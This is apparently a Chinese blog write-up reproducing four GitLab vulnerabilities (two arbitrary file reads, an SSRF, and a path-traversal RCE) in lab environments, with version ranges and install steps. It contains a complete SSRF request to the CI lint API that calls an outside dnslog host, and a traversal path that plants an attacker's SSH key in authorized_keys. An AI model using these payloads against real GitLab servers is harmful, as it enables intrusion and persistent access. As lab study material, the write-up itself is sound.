简介
GitLab是由GitLabInc.开发,使用MIT许可证的基于网络的Git仓库管理工具,且具有wiki和issue跟踪功能。使用Git作为代码管理工具,并在此基础上搭建起来的web服务。
Gitlab 任意文件读取漏洞(CVE-2016-9086)
影响版本
GitLab CE/EEversions 8.9, 8.10, 8.11, 8.12, and 8.13
环境搭建
docker+vulhub
漏洞复现
首先设置root密码,如上图,然后登录,如下图:
点击第一个绿色按钮:
设置名称,然后上传给的压缩文件即可:
然后就执行了命令。。。
原理和压缩文件不说了,网上了解。
任意文件读取漏洞(CVE-2020-10977)
影响版本
GitLab GitLab EE >=8.5,<=12.9
GitLab GitLab CE >=8.5,<=12.9
环境搭建
Centos7搭建
首先在/etc/yum.repos.d/下新建一个名为gitlab-ce.repo的文件,内容为以下内容:
[gitlab-ce]
name=Gitlab CE Repository
baseurl=https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/yum/el$releasever/
gpgcheck=0
enabled=1
进行安装:
yum makecache
yum install gitlab-ce-12.8.7-ce.0.el7
gitlab-ctl reconfigure //安装
gitlab-ctl restart //启动
如果打不开,很可能是端口被占用,查看日志:
gitlab-ctl tail
我这里发现80端口被占用(图忘截了)
停止httpd服务即可:
创建账号,登录:
创建任意两个项目:
在创建的第一个项目中添加payload:

然后将该项目移动到第二个项目之前:
然后获得一个下载链接:
下载打开:
GitLab SSRF漏洞 (CVE-2021-22214)
影响范围
Gitlab > 10.5
主页:
前台存在SSRF漏洞,发送请求包:
POST /api/v4/ci/lint HTTP/1.1
Host:
User-Agent: python-requests/2.25.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 111
{
"include_merged_yaml": true, "content": "include:\n remote: http://965qaw.dnslog.cn/api/v1/targets?test.yml"}
查看结果:
Gitlab远程代码执行漏洞(CVE-2018-14364)
影响范围
GitLab CE and EE 8.9.0 - 9.5.10
GitLab CE and EE 10.0.0 - 10.1.5
GitLab CE and EE 10.2.0 - 10.2.5
GitLab CE and EE 10.3.0 - 10.3.3
漏洞复现
注册账号,进入,创建项目,导入项目:
上传攻击者的ssh密钥到漏洞服务器的.ssh/authorized_keys:
抓包,修改:
修改path的值为:
ssh/../../../../../../../../../var/opt/gitlab/.ssh/authorized_keys
然后ssh连接。